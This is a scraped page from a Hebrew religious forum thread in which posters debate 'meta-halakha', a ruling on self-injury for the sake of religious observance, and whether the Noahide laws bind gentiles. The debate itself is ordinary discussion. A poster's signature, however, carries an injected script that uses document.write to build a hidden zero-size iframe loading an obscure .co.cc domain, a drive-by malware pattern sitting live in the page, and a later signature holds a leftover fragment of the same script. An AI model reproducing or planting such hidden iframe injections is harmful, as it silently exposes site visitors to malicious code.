בית פורומים עצור כאן חושבים

מטא הלכה: האם מותר להטיל מום בעצמו למען שמירת הלכה?

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-18/8/2011 22:32 לינק ישיר 

מיימוני כתב:
שותף סוד, יהי אור וכל המעוניין

האשכול הזה נועד בעיני לברר את תכניו (או חלק, זה מה שאפשר) של תחום שנקרא מטא הלכה.

האשכול הנוכחי, אם אני רשאי לבקש או לקבוע, לא נועד לבירור שיטת הלימוד שלי, אם כי מתוך הדוגמאות שאני מביא ומתוך התייחסותי ניתן ללמוד עליה. וכבר היו אשכולות רבים שבהם ביקשתי להציג את גישתי ללימוד ולפסק. אני מקוה להכין אשכול לדוגמא שבו אבאר את העקרונות ואת היישום שלהם. (בכל אופן, איני משתמש בגוגל כדי לברר הלכות ותקליטור פרוייקט השו"ת מעניק רק גישה נוחה למקורות, הרבה יותר מאשר ספרים בספריה. והמקורות הם הבסיס. המחשבה והניתוח והיישום הם חלק מרכזי והם מתבססים על הנחות יסוד. הנחות יסוד שמשותפות לכולנו אם כי חלקן דומה שנשכחו או אינן מוכרות למי שלא העמיק בלימוד התלמוד. ואיני רוצה להאריך בדבר. הנושא הוא כדלקמן ולא שיטתי שלי. למרות שאני אוהב להסביר אותה).

(כיון שאני חש שהציגו את גישתי לא נכון, אני מוסיף: האם מישהו באמת סבור שאני מלקט מקורות דרך גוגל כדי להשתמש בהם בשטחיות כדי להצדיק או לדחות דעה מן הדעות? אני מקוה שלא. לא נעים לי שיחשבו כך עלי. זו טעות. האם זו הטעיה מכוונת? חלילה לחשוד בחבר יקר שיזלזל בכוונה תחילה).

***
ולנושא העיקרי בעיני:

"מטא" מלשון "מעבר". אלו הדברים שמשתתפים בקביעת הלכות (או באמירתן) אבל אינם חלק מן העקרונות הנוגעים להלכה מסויימת.

כיון שזה מופשט מדי, הטוב ביותר הוא להסביר על ידי דוגמא. אבל אין לי דוגמא זמינה בינתים שקל להשתמש בה בלי ביאור ארוך ובלי מקום למחלוקת.

אנסה להסביר בצורה מופשטת אך באופן הקל ביותר שאני יכול.

כל הלכה מסויימת נקבעת לפי הנושא והכללים שיש אודותיו בידנו. אבל לפעמים לא רק על פי זה.

אסור לחלל שבת, אבל פיקוח נפש דוחה שבת. האם זה נלמד רק מפסוקים ומדרשותיהם, או שיש כאן סברה בסיסית שחכמים מצאו בעזרתה את הרעיון בפסוקים? אין לחלל שבת על גוי, אבל לפעמים יש דרך לעשות זאת, כגון משום "איבה" (יצא שם רע ותיגרם שנאה מסוכנת כלפי יהודים אם ידעו שיש הפליה בין דם לדם). הרב זילברשטיין עצמו הביא שאלה מעניינת (אני כותב מהזכרון) על אם ובן שהתגיירו. האם טבלה וגיורה הושלם. הבן חכה למול או לטבול (שכחתי). בשבת שלפני, האחרונה שלו כגוי, לבן היתה תאונה בבית ונפצע קשה. האם מבקשת להזמין עבורו אמבולנס ולשלוח אותו לבית החולים. אבל הוא עדיין אינו יהודי גמור. מה עליה לעשות?

יש לשים לב כי שיקולים תועלתניים כמו "התירו סופם משום תחילתם" (יש להתיר למיילדת ולאנשי צבא לשוב לביתם תוך חילול שבת מן התורה, לפי קצת שיטות, לאחר שנסתיימה המשימה שלהם, כי אחרת לא יצאו בפעם אחרת לעזור) הם שיקולים הלכתיים. אבל כפי שאני משתמש במונחים אלו, אלו שיקולים של מטא הלכה.

המונח הזה, "מטא הלכה", הפך לתחום מחקר אם כי, כפי שטענו (למשל פרופסור אבי שגיא אם כי הרחיק לכת), זה לא דבר מוגדר וניתן לכלול בו נושאים רבים ואכן כך הוא. מטא הלכה עוסקת בכל מה שאינו ההלכה המסויימת עצמה. לכן שייכים לכאן ערכים, הסתכלות תועלתנית על העתיד שנקבע לפי הכרעתנו בשאלה המסויימת, ועוד ועוד.

כפי שכתב ת"ט, המטא הלכה נובעת מן הערכים הבאים מסברה אך היא נלמדת גם מן התורה עצמה. דברי הרמב"ם שציטטתי יכולים להחשב כנובעים מסברה למרות שהוא בא לעגנם בתורה עצמה. כאשר אברהם אומר "השופט כל הארץ לא יעשה משפט" הוא טוען ממה שניתן לכנות "סברה" למען רחמים על אנשי סדום. זה לא דיון הלכתי, אבל זה שימוש במה שאפשר לכנות "סברה". זו רק דוגמא.

מטא הלכות ניתן לזהות בסוגיות בדיוק כפי שמזהים כללי הלכה בסוגיה. הגמרא מראה לנו כיצד מדייקים. כלומר, כיצד מזהים הנחות יסוד שמשמשות כתשתית לפסק זה או אחר (וכמובן ייתכנו הסברים מקבילים. אי בעית אימא ואי בעית אימא = אם תרצה תאמר כך ואם תרצה תוכל אולי להגיד הפוך). איני הראשון שמביא את הדוגמא הבאה שהוזכרה גם באשכול זה. "דרכיה דרכי נועם". ויש כמה מקומות שבהם תוספות מנתח ומזהה שימוש אפשרי בכלל הזה בעיצוב הכרעות, והפטור של אשת אח שלא היה בעולמו הוא אחד מהם (שבהם הענין נידון, לא שרק זה קובע).

לא כל הנושאים שניתן לשייך למטא הלכה נותחו וזוהו בתור כאלו. יש עדיין מקום רב ללימוד או למחקר. הדוגמא שממנה יצאתי לדרך, תשובתו (אם היתה כזו) של הרב זילברשטיין היא טעות, והיא טעות גם בשל שיקולים מטא הלכתיים. הענין שלי בתשובה הוא מפני שהדיון סולל דרך להעלאת תחום הלימוד הזה, מטא הלכה, שלדעתי הוא חשוב מאד אלא שלא דנו בו בצורה שיטתית בפורום. וחשיבותו עצומה כפי שאני מבקש להבהיר.

אני רוצה להדגיש שוב מה שכבר כתבתי, וכנגד מה שניתן להבין מדברי ת"ט: אותה מטא הלכה שעליה אני מדבר אינה בסיס חיצוני שאני מבקש לכפות על ההלכה "מבחוץ". אלו עקרונות שכבר קיימים בהלכה או שהתורה מתירה ומזמינה להשתמש בהם.

***

האם הפוסקים דוחקים כללים כדי להגיע למסקנות שהן קלות יותר מבחינה תועלתנית (=בני אדם "מרויחים" מהן) או מבחינה מוסרית? האם זה תהליך מודע או בלתי מודע? (האם הפוסק אומר לעצמו: התשובה שלי חייבת להיות כך וכך ועכשו עלי לעגן אותה)? האם אלו "שקרים קדושים"?

על השאלה האחרונה קל מאד לענות. לא.

לגבי האחרות, צריך דוגמאות לניתוח.

(המשך יבוא בעז"ה).


_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



מיימוני היקר
אני לא חושב שאתה מבסס את דעותיך על חיפושים בגוגל או בשו"ת. ואני לא חושב שאפשר לחשוב כך. כמדומני שגם שותפי לא חושב כך. ברור שדעותיך נובעים מהרבה לימוד ומחשבה. וזה אפשר לראות גם בפורום. 

הטענה שלי היתה, ואני מרכז אותה לגבי נושא המיוחד של האשכול הזה. שלהכריע נגד התוס' למשל צריך יותר רצינות מסתם הרגשה מטא-הלכתית.
ומכל כתיבותיך בפורום, בעיקר בנושאים החשובים, חפשתי הרבה למשל בענין הקבלה מקום שאתה מתייחס בהיקף לכל הנושא מכל הצדדים ולא מצאתי. בכל מקום אתה מציג את עקרי הטענות והרגשות שלך ומשמנסים להתווכח ברצינות אתה כבר לא שם. גם לי זה קרה באשכול אחד. זה נותן רושם  שאין כאן בירור נכון ויסודי. כמו שהייתי מצפה, וכמו שאני מנסה לנהוג ולדרוש בכל בירור הלכתי והשקפתי. 

אני גם לא חושב שהפסק של הרב זילברשטיין נכון. ואני חושב שיש בדבריו טעויות יסודיות. שאפשר לקרוא להם מטא הלכתיות. נדמה שיש בדבריו ערבוביא בין רצונות ראויים לשבח ובין הלכה. הרצון של הנערה לפגוע בעצמה אולי ראוי לשבח [ואולי אתה לא מסכים גם לזה. מ"מ תודה שמראה על מסירות ראוייה לציון אל ההלכה] אבל ברור ששום רב אסור לו להורות על מעשה כזה. ואולי אפילו לא לתת לו לגיטמציה ציבורית. יש מקרים שגם כאשר מותר למסור את הנפש אסור להורות על כך. כמו שמצינו לגבי חנניה מישאל ועזריה וכו'. לדעתי זה מה שקורה כשכל הזמן פוסקים הלכות מסיפורי מעשיות. כרגיל אצל הרב זילברשטיין.
כמו כן יש אצלו יישום בלתי נכון של הכלל הלכה מעל הכל. כנודע גם מפסק מפורסם שלו בענין הלעיטהו לרשע וימות. 

כל זה הרגשה שלי. ואני מוכן אף לבסס אותה מההלכה אם יהיה לי צורך. אבל בעיון הסוגיות ידוע שיש הרבה מקום לדון, וצריכים להתייחס ברצינות לכל המקורות. ולא לדחות אותם או לומר שטעו בלי בירור מספיק. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-18/8/2011 22:37 לינק ישיר 

ביליצר כתב:
צבי ודייר

שבע מצוות בני נח אינם מחייבים?

אפילו פרשת משפטים נכלל בשבע מצוות לדעת הרמבן

ומי אמר לך שהם היו מודעים למצוות האלה?



דדווח על תוכן פוגעני

מחובר
נשלח ב-18/8/2011 22:51 לינק ישיר 

דייר ,סנהדרין נו עא



דדווח על תוכן פוגעני

מחובר
נשלח ב-18/8/2011 23:41 לינק ישיר 

האוילות  החרדית כבר עוברת כל הגיון נורמלי. הגמרא בסנהדרין מחייבת את הגויים? הרמב"ם מחייב את הגויים? איך מחייב כי כתוב בפרוש בגמרא וברמבם ולכן זה מחייב וכל גוי שלא יקיים חייב מיתה. הרי זה איולות  הגמרא בסנהדרין אומרת שאדם העובר עבירה ולא היתרו בו שני עדים שזו עבירה  ולא הזהירו אותו העדים כי על עבירה זו העונש הוא כך וכך אזי לא מענישים את העבריין אז איך בדיוק מענישים את הגוי שעבר על שבע מצוות בני נח עלק.



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/8/2011 06:40 לינק ישיר 

ושם
חז"ל סברו שאפילו תקנות חז"ל מחייבות את בני נוח, לצערי איני זוכר כעת מקור.
בן נח אינו צריך התראה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/8/2011 07:35 לינק ישיר 

 

ושם האחר

 

כשאומרים שזה מחייב גוי אין הכוונה שעתה גוי ירוץ ויקיים. זה מחייב אותנו, לפי המערכת שלנו, להתייחס באופן הנובע מכך לגוי שעבר. למשל שכשיד ישראל תקיפה – לעונשו.




דדווח על תוכן פוגעני

מחובר
נשלח ב-19/8/2011 10:10 לינק ישיר 

בעל

אתה עומד מאחורי המילים שלך,? עזוב את המקור, האם זה נראה לך הוגן האם זה נראה לך הגיוני ומוסרי. זו השאלה

תלמיד
ולו נניח שיד ישראל תקיפה- האם אתה סבור שיש להעניש גוי מכיון שלא קיבל על עצמו 7 מצוות בני נח, שלא כתובים בתורה , שאולי הגוי קורא או לומד.? אלא לימוד מתוך דרש?



דדווח על תוכן פוגעני

מנותק
נשלח ב-19/8/2011 10:58 לינק ישיר 

ירוח
כך סבורה ההלכה כל עוד לא שונתה ע"י גוף מוסמך. או שתקבל אותה או שתדה אותה אבל אינך יכול להתעלם מהמציאות



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/8/2011 11:16 לינק ישיר 

תלמיד שאינו טועה!
זה אחת הבעיות הגדולות של הרבה מחברי הפורום המבלבלים במכוון או שלא במכוון בין רצונותיהם משאלותיהם דיעותם תקוותם וכוו', לבין הכתוב.



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/8/2011 11:55 לינק ישיר 

 

צבי

אתה צריך להיות מודע לסתירות בין ההלכה ומוסר (ככל הנוגע לאשכול זה. יש עוד סתירות) . אני פותרן בצורה ה"קלה" של אחיזת ההלכה והסתכלות עליה כמי שאינה מורה מוסר. קדש וגרש את אשתך (ולא היא אותך), אבל התנהג איליה כשווה לכל עניין. לרוב האנשים כאן זה מפריע. אינך יכול להתעלם מכך שאני "מוריד" את ההלכה ללקט יבש של צויים שאין מטרתו לא חינוכית ולא הסדרת יחסי החברה. אני בטוח שלא תתלהב מכך.




דדווח על תוכן פוגעני

מחובר
נשלח ב-19/8/2011 12:03 לינק ישיר 

תלמיד!
בהחלט זה לא אומר שאני מסכים איתך בכל דבר, אבל במה שאני מסכים אני אומר.



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/8/2011 12:05 לינק ישיר 

tzvi11 כתב:
תלמיד שאינו טועה!
זה אחת הבעיות הגדולות של הרבה מחברי הפורום המבלבלים במכוון או שלא במכוון בין רצונותיהם משאלותיהם דיעותם תקוותם וכוו', לבין הכתוב.

לצבי

מפתיע שלא הבחנת שחברי הפורום לא מבלבלים בין משאלותיהם לבין הכתוב.

חברי הפורום מביעים תהיות ובקורת על הכתוב.




דדווח על תוכן פוגעני

מחובר
נשלח ב-19/8/2011 13:02 לינק ישיר 

ספרן

קודם כל ואחרי הכל, תודה.

(וגם אמשלום, וגם כל מי שטרח וניסה ללמד זכות).

מצד שני, אני יכול להבין את אלו שחוששים. אם לא קראו מה שכתבתי, איך יכירוני. ואם קראו מה שפגע בעקרונות אמונתם, כמו שותף סוד, איך יבליגו.

כבר כתבתי שאני מנסה להכין אשכול שמציג את שיטת הלימוד הראויה בעיני עם מעט מקורות, אלא שזה אשכול ארוך ולוקח זמן.

אני מציע ומבקש לחזור לנושא.

המונח מטא (או "מטה") הלכה מיוחס לפרופסור אליעזר גולדמן. יש עליו כמה ספרים ומחקרים חדשים. וכפי שהוזכר כאן, גם על ידי, זה מונח לא מוגדר ברורות.

הצעתי לו איפיון כללי. כל מה שתורם להכרעה הלכתית שאינו מיוסד על הכללים הנוגעים לאותה הלכה בלבד.

זה יכלול אם כן כללים כמו "דרכיה דרכי נועם", דברי הרמב"ם על תכלית התורה, המטא-הכלל שמחייב שמרנות הלכתית, שמזהיר מפני סתירת מסורות מקובלות גם אם הן אינן מתחייבות מההלכה (כפי שהתבאר באשכול על לם ורב יוסף המתנגד למנהג שגוי או שאינו מחוייב), ועוד כללים, שקיויתי שיסייעו לי לאספם.

כיון שהנושא אכן אינו ברור ואינו מוגדר, אזי סביר שיהיו אי הבנות ואי הסכמות. זה יטען שמטא הלכה פירושה כך וזה יטען שפירושה אחר. זה יסתמך על חוקר פלוני שהציע כך וזה יציע משלו. וכל זה אפשרי בהחלט.

מה שאני מציע הוא לעסוק כרגע באיסוף דוגמאות. אמנם, כיון שהאשכול הזה התארך דיו, סבורני שכדאי לייחד אותו לנושא המסויים של "האם מותר להטיל מום בעצמו" בלבד. מטא הלכה - באשכול נפרד שאשתדל לפתוח. ביקורת על שיטת הלימוד שלי - אציג אותה באשכול אחר ואז יוכל כל אחד לבחון האם זה נכון לדעתו אם לאו ולציין סברות ומקורות.

אולי זה קצת יקשה על מי שרוצה את כל התשובות ואת כל הנושאים באשכול אחד. אבל אחד מקניניההצלחה הוא לשמור על סדר.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/8/2011 13:47 לינק ישיר 

כתב מיימוני "הצעתי לו איפיון כללי. כל מה שתורם להכרעה הלכתית שאינו מיוסד על הכללים הנוגעים לאותה הלכה בלבד.

זה יכלול אם כן כללים כמו "דרכיה דרכי נועם", דברי הרמב"ם על תכלית התורה"

החלק הראשון נסקר ומודגם היטב בספרו של הרב אליעזר ברקוביץ "ההלכה כוחה ותפקידה"

אולם "דברי הרמב"ם על תכלית התורה", כאן נכנסים לכאורה לשדה מוקשים שכן אם לתרגם את הדברים למונחים אחרים, הרי מדובר בפשטות בסוגיית טעמי המצוות, בה כמדומני לא אמר אדם מעולם שסברה אנושית בנתינת טעמים למצוותיה של תורה  תשנה משהו מבחינה מעשית (וכמו שנמסר בשם בעל "בית הלוי" שטעם הוא מלשון תבלין המנעים את האכילה. לא יותר. וראה מאמרו של גולדמן הנזכר "המצווה כנתון יסוד של הדת") אכן יש לחלק בין טעמים שנדרשו ע"י המעיינים לדורותיהם, מדעתם, לבין העולה באופן ברור מדברי התורה עצמה (וכבר הובא פעם חילוק זה בשם הג"ן, מפורש יוצא מדברי הרא"ש בתוספותיו) אלא שמקרים אלה המתפרשים בתורה אינם מרובים. ולגבי תכלית התורה, באופן כללי, הרי שוב אנו מכניסים ראשינו בין הרים גדולים: אינה דומה תכלית התורה במשנת הרמב"ם לזו העולה מספר הכוזרי ועוד, והדברים עתיקים.


תוקן על ידי ספרן ב- 19/08/2011 13:45:34




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/8/2011 13:52 לינק ישיר 

תלמיד
איך שצענע הסבירה. אנו מביעים תמיהות. הפורום הוא מקום להבעת תמיהות וברור - אני לא מתיימר לשנות הלכות- חבל.

הרמב"ן כותב בהקדמה שלו לספר המצוות

השגות הרמב"ן לספר המצוות לרמב"ם הקדמה

והנני עם חשקי וחפצי להיות לראשונים תלמיד, לקיים דבריהם ולהעמיד, לעשות אותם לצוארי רביד ועל ידי צמיד, לא אהיה להם חמור נושא ספרים תמיד. אבחר דרכם ואדע ערכם. אך באשר לא יכילו רעיוני אדון לפניהם בקרקע אשפוט למראה עיני. ובהלכה ברורה לא אשא פנים בתורה. כי י"י יתן חכמה בכל הזמנים ובכל הימים. לא ימנע טוב להולכים בתמים:

כך גם אני נוהג וחושב, ההלכות המשונות והלא הגיוניות ומוסריות לא מקובלות עלי ולא עולות בדעתי  לקבלן למשל!

דברים פרק ה

(יג) וְיוֹם הַשְּׁבִיעִי שַׁבָּת לַיקֹוָק אֱלֹהֶיךָ לֹא תַעֲשֶׂה כָל מְלָאכָה אַתָּה וּבִנְךָ וּבִתֶּךָ וְעַבְדְּךָ וַאֲמָתֶךָ וְשׁוֹרְךָ וַחֲמֹרְךָ וְכָל בְּהֶמְתֶּךָ וְגֵרְךָ אֲשֶׁר בִּשְׁעָרֶיךָ לְמַעַן יָנוּחַ עַבְדְּךָ וַאֲמָתְךָ כָּמוֹךָ:

תסביר לי בבקשה איך אפשר ללמוד לאחר הפסוק הזה- נכרי ששבת חייב מיתה? למה? כי יש דרש טוב? מבטלים דיברה?



תוקן על ידי ירוחםשמ ב- 19/08/2011 14:05:00




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > מטא הלכה: האם מותר להטיל מום בעצמו למען שמירת הלכה?
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 ... 6 7 8 לדף הבא סך הכל 8 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.